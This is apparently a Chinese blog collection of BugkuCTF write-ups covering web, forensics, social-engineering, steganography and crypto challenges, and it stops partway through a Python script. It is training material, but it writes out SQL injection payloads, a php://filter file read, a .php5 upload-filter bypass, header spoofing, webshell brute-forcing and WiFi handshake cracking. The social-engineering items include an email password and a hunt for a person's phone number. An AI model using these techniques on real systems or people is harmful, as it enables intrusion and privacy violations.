zoukankan      html  css  js  c++  java
  • BugkuCTF 部分WP(搬运了很多WP)

    WEB

    web2

    http://123.206.87.240:8002/web2/

    右键或按F12查看源代码或者url前加view-source

    view-source:http://123.206.87.240:8002/web2/

    计算器

    http://123.206.87.240:8002/yanzhengma/

    F12 修改maxlength

    web基础$_GET

    http://123.206.87.240:8002/get/

    GET传参 ?what=flag

    http://123.206.87.240:8002/get/?what=flag

    web基础$_POST

    http://123.206.87.240:8002/post/

    HackBar 或者burpsuite post传参 what=flag

    矛盾

    http://123.206.87.240:8002/get/index1.php

    考察php弱类型比较

    http://123.206.87.240:8002/get/index1.php?num=1a

    web3

    http://123.206.87.240:8002/web3/

    查看源代码

    复制出来粘贴到 burp 自带的 decoder 里,在 decode as 选 HTML,就能解码出 flag

    域名解析

    burpsuite抓包,把 host 字段直接改成域名。

    或者修改C盘下的hosts文件

    你必须让他停下

    http://123.206.87.240:8002/web12/

    burpsuite抓包后发到 repeater,每点一次 Go 就会刷新,多刷新几次就可以看到flag

    变量1

    flag In the variable !` 
    <?php 
    	error_reporting(0);
    	include "flag1.php";
    	highlight_file(__file__);
    	if(isset($_GET['args']))
    	{  
    		$args = $_GET['args'];  
    		if(!preg_match("/^w+$/",$args))
    		{    
    			die("args error!");  
    		}  
    		eval("var_dump($$args);");
    	}
    ?>`
    

    需要传入有个 args 参数,通过 eval 来执行 var_dump 来打印一些东西。但是它打 印的是$$args 而不是$args。

    传 入 参 数 ‘args=GLOBALS' , var_dump()将打印$GLOBALS

    http://123.206.87.240:8004/index1.php?args=GLOBALS

    web5

    查看源代码,将以下内容放到浏览器控制台执行得到flag

    ([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+!+
    .................(此处省略若干行)
    (![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]])
    

    ctf{whatfk}

    字母大写 CTF{WHATFK}

    头等舱

    http://123.206.87.240:9009/hd.php

    burpsuite抓包发送到Repeater 里面,Go 一下,Response 里面已经出来 flag 了

    网站被黑

    http://123.206.87.240:8002/webshell/

    御剑扫描后台

    扫描出 shell.php,打开链接是一个 webshell,尝试 admin 等弱密码无效后

    开 burp 进行爆破,这里选择 Simple list,字典选择 burp 自带的 Passwords

    爆破结果,密码为hack,登录webshell,得到flag

    管理员系统

    http://123.206.31.85:1003/

    decode as base64

    Username: admin

    Password: test123

    IP禁止访问,请联系本地管理员登陆,IP已被记录.

    输入

    Username: admin

    Password: test123

    burpsuite抓包 发送到repeater 伪造ip X-Forwarded-For: 127.0.0.1 得到flag

    web4

    http://123.206.87.240:8002/web4/

    查看源代码

    进行 unescape 解密,得到 function checkSubmit(){vara=document.getElementById("password");if("undefined"!=typeofa){if("67d709b2b aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElement ById("levelQues

    ,源码中有这么一 句:eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));这句代码的 含义是:p1 串的编码+‘%35%34%61%61%32’的编码+p2 串的编码。这是一个拼 接的字符串,解码之后,拼接完成,回到网页中提交,网页直接爆出了 flag。

    67d709b2b 54aa2 aa648cf6e87a7114f1

    拼接完成,回到网页中提交,网页直接爆出了 flag:67d709b2b54aa2aa648cf6e87a7114f1

    KEY{J22JK-HS11}

    flag在index里

    http://123.206.87.240:8005/post/

    file=php://filter/read=convert.base64-encode/resource=index.php 的含义 首先这是一个 file 关键字的 get 参数传递,

    php://是一种协议名称,

    php://filter/ 是一种访问本地文件的协议,

    /read=convert.base64-encode/表示读取的方式是 base64 编码后,resource=index.php 表示目标文件为 index.php。

    http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

    decode as base64

    <html>
        <title>Bugku-ctf</title>
        
    <?php
    	error_reporting(0);
    	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    	$file=$_GET['file'];
    	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
    		echo "Oh no!";
    		exit();
    	}
    	include($file); 
    //flag:flag{edulcni_elif_lacol_si_siht}
    ?>
    </html>
     
    

    输入密码查看flag

    http://123.206.87.240:8002/baopo/

    baopo:爆破

    burpsuite抓包爆破得到密码13579

    输入密码得到flag

    备份是个好习惯

    http://123.206.87.240:8002/web16/

    http://123.206.87.240:8002/web16/index.php.bak

    下载备份文件

    <?php
    /**
     * Created by PhpStorm.
     * User: Norse
     * Date: 2017/8/6
     * Time: 20:22
    */
    
    include_once "flag.php";
    ini_set("display_errors", 0);
    $str = strstr($_SERVER['REQUEST_URI'], '?');
    $str = substr($str,1);
    $str = str_replace('key','',$str);
    parse_str($str);
    echo md5($key1);
    
    echo md5($key2);
    if(md5($key1) == md5($key2) && $key1 !== $key2){
        echo $flag."取得flag";
    }
    ?>
    
    

    str_replace 把字符串中的 'key'替换 为 空 可 以 使 用 类 似这 样 的 语 句 : kkeyey 处理

    最后需要得到 key1,key2 不相等而二者 md5 相等,可以利用 php 弱类型比较 绕过

    构造

    payload:?kkeyey1=QNKCDZO&kkeyey2=240610708

    成绩单

    0' union select database(),2,3,4 # 得到数据库名 skctf_flag

    0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'# 得到表名 fl4g

    0' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g'#

    得到列名 skctf_flag

    0' union select skctf_flag,2,3,4 from fl4g#

    秋名山老司机

    网上抄的代码

    import requests
    import re
    url = 'http://123.206.87.240:8002/qiumingshan/'  # 这个URL是不定的
    s = requests.session()
    g = s.get(url)
    page = re.findall(r'<div>(.*)=?;</div>', g.text)[0]
    res = eval(page)
    payload = {'value': res}
    p = s.post(url, data=payload)
    print(p.text)
    
    

    一次运行可能看不到flag,多运行几次就可以看到flag

    速度要快

    http://123.206.87.240:8002/web6/

    # coding:utf-8
    import requests
    import base64
    url="http://123.206.87.240:8002/web6/"
    s=requests.Session()
    head=s.get(url).headers
    flag=base64.b64decode(head["flag"])
    flag=flag.decode()
    key=base64.b64decode(flag.split(":")[1])
    payload={"margin":key}
    print(s.post(url,data=payload).text)
    

    KEY{111dd62fcd377076be18a}

    cookies欺骗

    http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

    a2V5cy50eHQ= decode as base64 keys.txt

    参考

    https://www.cnblogs.com/-chenxs/p/11658288.html

    <?php
    error_reporting(0);
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    $line=isset($_GET['line'])?intval($_GET['line']):0;
    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
    $file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
    );
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ 
    $file_list[2]='keys.php';
    }
    if(in_array($file, $file_list)){
    $fa = file($file);
    echo $fa[$line];
    }
    ?>
    

    http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=

    burpsuite抓包发送到repeater

    在请求头添加 Cookie: margin=margin

    (Cookie: margin=margin
    Upgrade-Insecure-Requests: 1)

    KEY{key_keys}

    never give up

    http://123.206.87.240:8006/test/hello.php?id=1

    查看源代码

    访问 view-source:http://123.206.87.240:8006/test/1p.html

    <!--
    
    
    var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
    function OutWord()
    {
    var NewWords;
    NewWords = unescape(Words);
    document.write(NewWords);
    } 
    OutWord();
    // -->
    

    decode as base64 , decode as html

    <!--
    
    
    var Words ="<script>window.location.href='http://www.bugku.com';</script> 
    <!--";if(!$_GET['id'])
    {
    	header('Location: hello.php?id=1');
    	exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
    	echo 'no no no no no no no';
    	return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
    	require("f4l2a3g.txt");
    }
    else
    {
    	print "never never never give up !!!";
    }
    
    
    ?>-->" 
    function OutWord()
    {
    var NewWords;
    NewWords = unescape(Words);
    document.write(NewWords);
    } 
    OutWord();
    // -->
    

    访问 http://123.206.87.240:8006/test/f4l2a3g.txt 得到flag

    字符?正则?

    参考链接:https://blog.csdn.net/weixin_44481102/article/details/90214568

    https://www.cnblogs.com/chrysanthemum/p/11483857.html

    不太懂正则

    [http://123.206.87.240:8002/web10/?id=keykeykeykeykey:/ /keya@i](http://123.206.87.240:8002/web10/?id=keykeykeykeykey:/ /keya@i)

    你从哪里来

    http://123.206.87.240:9009/from.php

    are you from google?

    burpsuite抓包发送到repeater

    在Headers添加 Referer https://www.google.com

    md5 collision(NUPT_CTF)

    md5碰撞、php弱类型

    PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

    攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

    原文链接:https://blog.csdn.net/qq_30464257/article/details/81432446

    参考链接 https://blog.csdn.net/qq_30464257/article/details/81432446

    http://123.206.87.240:9009/md5.php

    http://123.206.87.240:9009/md5.php?a=s878926199a

    程序员本地网站

    burpsuite抓包发送到repeater

    在Headers添加 X-Forwarded-For 127.0.0.1

    各种绕过

    http://123.206.87.240:8002/web7/

    <?php
    highlight_file('flag.php');
    $_GET['id'] = urldecode($_GET['id']);
    $flag = 'flag{xxxxxxxxxxxxxxxxxx}';
    if (isset($_GET['uname']) and isset($_POST['passwd'])) {
        if ($_GET['uname'] == $_POST['passwd'])
    
            print 'passwd can not be uname.';
    
        else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
    
            die('Flag: '.$flag);
    
        else
    
            print 'sorry!';
    
    }
    ?>
    

    本题注意点:

    1. get 方式提交 uname 和 id 值,post 方式提交 passwd 值
    2. uname 和 passwd 的哈希值相同
    3. id == “margin”

    解决

    1 get 和 post 提交,方式 1:火狐的 HackBar,方式2:python 程序。。。

    2 把 uname 和 passwd 定义成数组,数组的哈希值相同

    3 url 传入时,令 id=margin

    get传参:http://123.206.87.240:8002/web7/?uname[]=1&id=margin

    post传参:passwd[]=2

    web8

    http://123.206.87.240:8002/web8/

    <?php
    extract($_GET);
    if (!empty($ac))
    {
    $f = trim(file_get_contents($fn));
    if ($ac === $f)
    {
    echo "<p>This is flag:" ." $flag</p>";
    }
    else
    {
    echo "<p>sorry!</p>";
    }
    }
    ?>
    

    分析代码:

    extract($_GET):函数 extract()有通过数组进行赋值的功能

    file_get_contents($fn):file_get_contents 功能是从文件名为“$fn”的文件中读取数据,但是当$fn 的值为“php://input”,它会接受并返回 post 的值

    构造 index.php?ac=text&fn=php://input

    post data

    text

    细心

    http://123.206.87.240:8002/web13/

    http://123.206.87.240:8002/web13/robots.txt

    http://123.206.87.240:8002/web13/resusl.php

    http://123.206.87.240:8002/web13/resusl.php?x=admin

    求getshell

    http://123.206.87.240:8002/web9/

    这道题是后缀名黑名单检测和类型检测

    1. 把请求头里面的 Content-Type 字母改成大写进行绕过

    2. .jpg 后面加上.php5 其他的都被过滤了好像 如果是 walf 严格匹配,通过修改 Content-type 后字母的大小写可以绕过检测,使 得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件 可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为 php2, php3, php4, php5, phps, pht, phtm, phtml(php 的别名),发现只有 php5 没有被过 滤,成功上传,得到 flag

      Content-Type: mUltipart/form-data;

      Content-Disposition: form-data; name="file"; filename="123.php5"
      Content-Type: image/png

    INSERT INTO注入

    暂时不会做,也不会写Python脚本

    参考 https://www.cnblogs.com/Zhu013/p/11477772.html

    多次

    http://123.206.87.240:9004/

    ?id=1'or 1=1--+ 也报错,可能存在过滤

    尝试双写绕过,?id=1'oorr 1=1--+ 返回正常

    那如何检测哪些字符串被过滤了呢?新技能 GET!

    异或注入了解一下,两个条件相同(同真或同假)即为假 ?id=1'^(length('union')!=0)--+

    如果返回页面显示正常,那就证明 length(‘union’)==0 的,也就是 union 被过滤了 同理测试出被过滤的字符串有:and,or,union,select

    查数据库名

    http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

    返回flag1,hint

    http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+

    返回flag1,address

    查列

    http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(flag1) from flag1--+

    返回 usOwycTju+FTUUzXosjr

    查address

    http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(address) from flag1--+

    返回 ./Once_More.php
    下一关地址

    查库

    [http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20(extractvalue(1,concat(0x7e,database(),0x7e)))--+](http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--+)

    返回内容

    My Id =1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--

    Nobody!
    XPATH syntax error: '~web1002-2~'

    查表

    http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e)))--+

    //select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'

    返回内容

    My Id =1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='web1002-2'),0x7e)))--

    Nobody!
    XPATH syntax error: '~class,flag2~'

    查数据

    http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--+

    //select group_concat(column_name) from information_schema.columns where table_name='flag2'

    返回内容

    My Id =1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--

    Nobody!
    XPATH syntax error: '~flag2,address~'

    //select flag2 from flag2

    http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)))--+

    返回内容

    My Id =1' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)))--

    Nobody!
    XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'

    本地主要是 sql 注入,报错注入以及异或注入

    分析

    flag 被盗

    key.pcapng 文件,下载用 wireshark 打开

    筛选 http

    任意选择一条含 shell.php 的内容 右键 =>>追踪流 =>>TCP 流 ,看一下详细 信息。

    X@Yflag{This_is_a_f10g}

    中国菜刀

    参考:

    https://www.cnblogs.com/0yst3r-2046/p/12213278.html

    这么多数据包

    下载文件,wireshark打开

    根据提示,我们要找到 getshell 流, 经大佬提示, 一般 getshell 流的 TCP 的 报文中很可能包含 command 这个字段, 我们可以通过<协议 contains “内 容” >来查找 getshell 流

    筛选 tcp contains "command"

    No5548 追踪流TCP流

    Q0NURntkb195b3VfbGlrZV9zbmlmZmVyfQ==

    decode as base64

    CCTF{do_you_like_sniffer}

    手机热点

    参考:

    https://www.cnblogs.com/0yst3r-2046/p/12290445.html

    抓到一只苍蝇

    参考:

    https://www.cnblogs.com/0yst3r-2046/p/12299558.html

    日志审计

    参考 https://www.cnblogs.com/0yst3r-2046/p/12322110.html

    下载文件,用Notepad++打开

    Plugins-MIME Tool-URL decode

    看到有 flag_is_here 的记录... 在 sql 盲注里测试的字符的 最后一条状态码为 200 的语句 的 ASCII 值再加 1 就 是猜解正确的 ASCII 值,转换成字符就是我们需要的答案的其中一个字符。

    101+1=102 -->f 107+1=108 -->l 96+1=97 -->a 102+1=103 -->g 由于字符比较多,我们就不一一列举了,以上就是 flag 的前四个字符。 最多得出 flag{sqlm4p_15_p0werful} 这个题的经验在于,对注入的了解,sql 注入盲注

    weblogic

    参考:

    https://www.cnblogs.com/0yst3r-2046/p/12331603.html

    信息提取

    参考:

    https://blog.csdn.net/qq_39991837/article/details/105452677

    特殊后门

    下载文件,wireshark打开

    筛选 icmp

    拼接每条流量的数据得到flag

    flag{Icmp_backdoor_can_transfer-some_infomation}

    WEB进阶

    phpcmsV9

    http://123.206.87.240:8001/

    http://123.206.87.240:8001/robots.txt

    bugku 导航

    http://123.206.87.240:9006/

    御剑扫描

    发现扫出了 1 个 admin、1.zip、robots.txt 等等敏感文件目录

    然后我们访问 1.zip 把该文件下载过来,然后下载解压后发现这个是该网站的源代码

    在本地打开该文件是没有任何东西的,但是我们在浏览器上访问该文件,就显示出 flag 了。

    http://123.206.87.240:9006/flag-asd.txt

    社工

    密码

    这个是典型的弱口令,猜了一下,KEY 是姓名+生日, KEY{zs19970315}

    信息查找

    https://www.toutiao.com/

    今日头条主页搜索bugku.cn

    https://www.toutiao.com/search/?keyword=bugku.cn

    https://www.toutiao.com/a4530947333/c

    技术交流群:462713425

    KEY{462713425}

    简单个人信息收集

    zip伪加密

    参考:

    https://www.cnblogs.com/0yst3r-2046/p/11351140.html

    用 winhex 打开,然后修改 09 为 00

    在哈尔滨市阿城区胜利街六委十三组 有个叫杜甫的你能把他的手机号找到吗?

    flag格式 flag{手机号}

    社工进阶

    参考:

    https://www.cnblogs.com/0yst3r-2046/p/11351332.html

    name:孤长离

    提示:弱口令

    https://tieba.baidu.com/p/4911421204?pid=101711704384&cid=#101711704384

    网易邮箱 bkctftest@163.com 密码是弱口令 a123456

    在邮箱的草稿箱发现flag KEY{sg1H78Si9C0s99Q}

    王晓明的日记

    参考:

    https://www.cnblogs.com/0yst3r-2046/p/11371915.html

    简单的社工尝试

    参考:

    https://www.cnblogs.com/0yst3r-2046/p/11376089.html

    杂项

    签到题

    扫码关注公众号得到flag

    flag{BugKu-Sec-pwn!}

    这是一张单纯的图片

    下载图片在winhex下打开,拖到最后发现以下字符,decode as html 得到flag

    key{you are right}

    隐写

    下载图片在winhex下打开,IHDR后面0-3字节代表图片宽度,4-7字节代表图片高度

    将' 00 00 01 F4 00 00 01 A4 '修改为' 00 00 01 F4 00 00 01 F4 '

    保存图片再次打开,就可以看到flag

    telnet

    下载文件,wireshark打开,第二个数据包追踪TCP流发现flag

    Password: flag{d316759c281bf925d600be698a4973d5}

    眼见非实(ISCCCTF)

    下载文件将文件后缀改为.zip,解压,发现 .docx,word打开报错,再将后缀改为 .zip,解压在document.xml中发现flag

    <w:t>flag{F1@g}</w:t>

    啊哒

    下载文件解压,把图片放到kali打开

    binwalk ada.jpg

    dd if=ada.jpg of=1.zip skip=218773 bs=1

    dd命令详解,这里if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过218773个块后再开始复制,bs设置每次读写块的大小为1字节。

    zip打开需要密码

    查看突破属性发现

    设备

    73646E6973635F32303138

    这个会不会是密码,输入后发现不是。

    burpsuite Decoder模块解码

    73646E6973635F32303138 decode as ASCII hex

    sdnisc_2018 //得到解压密码

    flag{3XiF_iNf0rM@ti0n}

    又一张图片,还单纯吗

    kali下打开

    binwalk 、foremost、 dd

    dd if=2.jpg of=3.jpg skip=158792 bs=1

    下载图片百度识图,识图结果刘亦菲

    根据提示key{liuyifei}

    宽带信息泄露

    下载文件 RouterPassView 打开

    查找username 053700357621

    flag格式:flag{宽带用户名}

    flag{053700357621}

    隐写2

    老套路 属性-winhex-binwalk

    属性和winhex都发现不了什么

    binwalk Welcome_.jpg

    dd if=Welcome_.jpg of=2.zip skip=52516 ds=1

    打开压缩包,图片提示密码为3位数,可以用fcrackzip破解,Fcrackzip——简介、安装、使用

    sudo apt-get install fcrackzip

    fcrackzip -b -l 3-3 -c1 -v flag.rar

    found file '3.jpg', (size cp/uc 6588/ 6769, flags 801, chk 102c)
    possible pw found: 035 ()
    possible pw found: 337 ()
    possible pw found: 728 ()
    possible pw found: 871 ()

    解压密码:871,解压后,winhex打开,拖到最后

    发现 f1@g{eTB1IEFyZSBhIGhAY2tlciE=}

    eTB1IEFyZSBhIGhAY2tlciE=

    decode as Base64

    y0u Are a h@cker!

    多种方法解决

    下载、解压、winhex打开

    base64转图片

    扫码得flag

    闪的好快

    是一个gif 一直闪

    stegsolve可以把gif一帧帧放的工具

    一张张扫

    答案就是SYC{F1aSh_so_f4sT}

    come_game

    Bugku—come_game

    白哥的鸽子

    winhex打开,拖到最后,编码改为ANSI ASCII

    fg2ivyo}l{2s3_o@aw__rcl@

    栅栏密码解密

    fg2ivyo}l{2s3_o@aw__rcl@

    2栏:
    f3g_2oi@vaywo_}_lr{c2ls@

    3栏:
    flag{w22_is_v3ry_cool}@@

    flag{w22_is_v3ry_cool}

    linux

    下载文件,解压,kali下打开

    grep 'key' -a flag
    key{}
    key{}
    key{feb81d3834e2423c9903f4755464060b}

    隐写3

    winhex修改图片高度

    把01 00 改为02 A7

    拿到flag{He1l0_d4_ba1}

    做个游戏(08067CTF)

    下载、解压经过试验发现flag在下面这个文件

    .heiheiheicnjsxtplanePlaneGameFrame.class

    编辑-查找flag flag{RGFqaURhbGlfSmlud2FuQ2hpamk=}

    RGFqaURhbGlfSmlud2FuQ2hpamk=

    decode as base64

    DajiDali_JinwanChiji

    想蹭网先解开密码

    flag格式:flag{你破解的WiFi密码}tips:密码为手机号,为了不为难你,大佬特地让我悄悄地把前七位告诉你 1391040** Goodluck!!作者@NewBee

    下载文件,wireshark打开没有什么发现

    在kali下打开

    crunch 11 11 -t 1391040%%%% -o dictionary.txt

    aircrack-ng -a2 wifi.cap -w dictionary.txt

    crunch命令详解以及使用方法

    完全教程 Aircrack-ng

    1 3C:E5:A6:20:91:60 CATR WPA (0 handshake)
    2 3C:E5:A6:20:91:61 CATR-GUEST WPA (0 handshake)
    3 BC:F6:85:9E:4E:A3 D-Link_DIR-600A WPA (1 handshake, with PMKID)

    Index number of target network ? 3

    KEY FOUND! [ 13910407686 ]

    Linux2

    下载文件,解压,记事本打开brave,编辑-查找 key

    KEY{24f3627a86fc740a7f36ee2c7a1c124a}

    细心的大象

    binwalk 1.jpg

    foremost 1.jpg

    00000000.jpg 属性 详细信息 TVNEUzQ1NkFTRDEyM3p6

    TVNEUzQ1NkFTRDEyM3p6

    decode as base64

    MSDS456ASD123zz

    这个是压缩包解压密码,将解压后得到的图片放到winhex打开,修改高度(01 A4 改为 01 F4)保存再查看即可看到flag

    爆照

    binwalk 8.jpg

    foremost 8.jpg

    root@kali:~/桌面/output2/zip/00000079# binwalk 8

    0 0x0 PC bitmap, Windows 3.x format,, 303 x 300 x 8

    root@kali:~/桌面/output2/zip/00000079# binwalk 88

    0 0x0 JPEG image data, JFIF standard 1.01
    30 0x1E TIFF image data, big-endian, offset of first image directory: 8

    root@kali:~/桌面/output2/zip/00000079# binwalk 888

    0 0x0 JPEG image data, JFIF standard 1.01
    30 0x1E TIFF image data, big-endian, offset of first image directory: 8

    root@kali:~/桌面/output2/zip/00000079# binwalk 8888

    0 0x0 JPEG image data, JFIF standard 1.01
    30 0x1E TIFF image data, big-endian, offset of first image directory: 8
    10976 0x2AE0 Zip archive data, at least v2.0 to extract, compressed size: 644, uncompressed size: 1202, name: 1509126368.png
    11760 0x2DF0 End of Zip archive, footer length: 22

    root@kali:~/桌面/output2/zip/00000079# foremost 8888

    88 扫码得到 bilibili

    888 修改添加后缀 888.jpg在win下打开 属性-详细信息-备注发现base64编码 c2lsaXNpbGk=

    c2lsaXNpbGk=

    decode as Base64

    silisili

    foremost 8888 扫码结果 panama

    根据提示flag格式 flag{xxx_xxx_xxx}得flag{bilibili_silisili_panama}

    猫片

    hint:LSB BGR NTFS

    https://blog.csdn.net/weixin_43426549/article/details/103194153

    https://www.cnblogs.com/liuzeyu12a/p/10033384.html

    https://www.cnblogs.com/cat47/p/11432475.html

    添加后缀 .png 用stegsolve打开

    Alpha为什么不勾,因为是透明度,如果改为0就变成全透明,图片就什么也看不见

    RGB是全为0 让它避免有其他颜色亮度的干扰 ,如果RGB任意一个改为不为0,那么这张图片的代码就会出现错误

    导致他不是一个图片文件

    当我们改好的时候 可以看见是一个png文件

    save bin 保存为png格式

    又因为png格式头是89504e

    所以要把fffe删掉,我们扔到winhex里面删除fffe

    保存再打开

    winhex修改图片高度 扫码得到网盘链接,下载

    winrar+ntfs 得到一个pyc文件 用反编译把他搞成py文件

    import base64
    ciphertext = [
     '96', '65', '93', '123', '91', '97', '22', '93', '70', '102', '94', '132', '46', '112', '64', '97', '88', '80', '82', '137', '90', '109', '99', '112']
    
    def decode():
        flag = ''
        ciphertext.reverse()
        for i in range(len(ciphertext)):
            if i % 2 == 0:
                s = int(ciphertext[i]) - 10
            else:
                s = int(ciphertext[i]) + 10
            s = chr(i^s)
            flag = flag + s
        print(flag)
    
    decode()
    

    flag{Y@e_Cl3veR_C1Ever!}

    多彩

    旋转跳跃

    普通的二维码

    乌云邀请码

    下载文件解压StegSolve 打开 LSB First BGR

    flag{Png_Lsb_Y0u_K0nw! }

    神秘的文件

    采用明文攻击,用的是ARCHPR

    解压密码:q1w2e3r4

    将解压得到的文档后缀改为 .zip,解压,在docProps里发现flag.txt,里面是base64

    ZmxhZ3tkMGNYXzFzX3ppUF9maWxlfQ==

    decode as base64

    flag{d0cX_1s_ziP_file}

    论剑

    下载图片,winhex打开,慢慢翻到中间是一串二进制

    1101101 01111001 01101110 01100001 01101101 01100101 01101001 01110011 01101011 01100101 01111001 00100001 00100001 00100001 01101000 01101000 01101000

    decode as Binary

    109 121 110 97 109 101 105 115 107 101 121 33 33 33 104 104 104

    ascii转字符串

    a = [109, 121, 110, 97, 109, 101, 105, 115,
         107, 101, 121, 33, 33, 33, 104, 104, 104]
    b = ""
    for i in a:
        b += chr(i)
    print(b)
    '''
    mynameiskey!!!hhh
    '''
    

    参考

    将二进制部分后面的16进制"38 7B BC AF 27 1C"改为"37 7A BC AF 27 1C"(7z压缩包的头)

    binwalk,dd 分离

    root@kali:~/桌面# dd if=lunjian1.jpg of=1.zip skip=9591 bs=1 root@kali:~/桌面# dd if=lunjian1.jpg of=1.jpg skip=17569 bs=1

    压缩包解压密码mynameiskey!!!hhh 解压得到ljc2.jpg

    winhex打开ljc2.jpg 搜索十六进制搜索FFC2目的是修改宽高 jpg文件格式https://blog.csdn.net/yun_hen/article/details/78135122

    再把lunjian.jpg也就是题目下载的那个图片改一下宽高

    结合起来 not flag{666c61677B6D795F6E616D655F482121487D}

    666c61677B6D795F6E616D655F482121487D

    decode as ASCII hex

    flag{my_name_H!!H}

    图穷匕见

    convert

    听首音乐

    好多数值

    很普通的数独(ISCCCTF)

    PEN_AND_APPLE

    color

    怀疑人生

    红绿灯

    不简单的压缩包

    一枝独秀

    小猪佩奇

    好多压缩包

    一个普通的压缩包

    2B

    QAQ

    妹子的陌陌

    就五层你能解开吗

    加密

    滴答~滴

    摩斯电码解密

    聪明的小羊

    一只小羊翻过了2个栅栏KYsd3js2E{a2jda}

    栅栏密码解密(栏数2)

    ok

    Ook! to text

    这不是摩斯密码

    Brainfuck to text

    easy_crypto

    from __future__ import print_function
    a = input("input the string:")
    s = a.split(" ")
    dict = {'01': 'A',
            '1000': 'B',
            '1010': 'C',
            '100':'D',
            '0':'E',
            '0010':'F',
            '110': 'G',
            '0000': 'H',
            '00': 'I',
            '0111':'J',
            '101': 'K',
            '0100': 'L',
            '11': 'M',
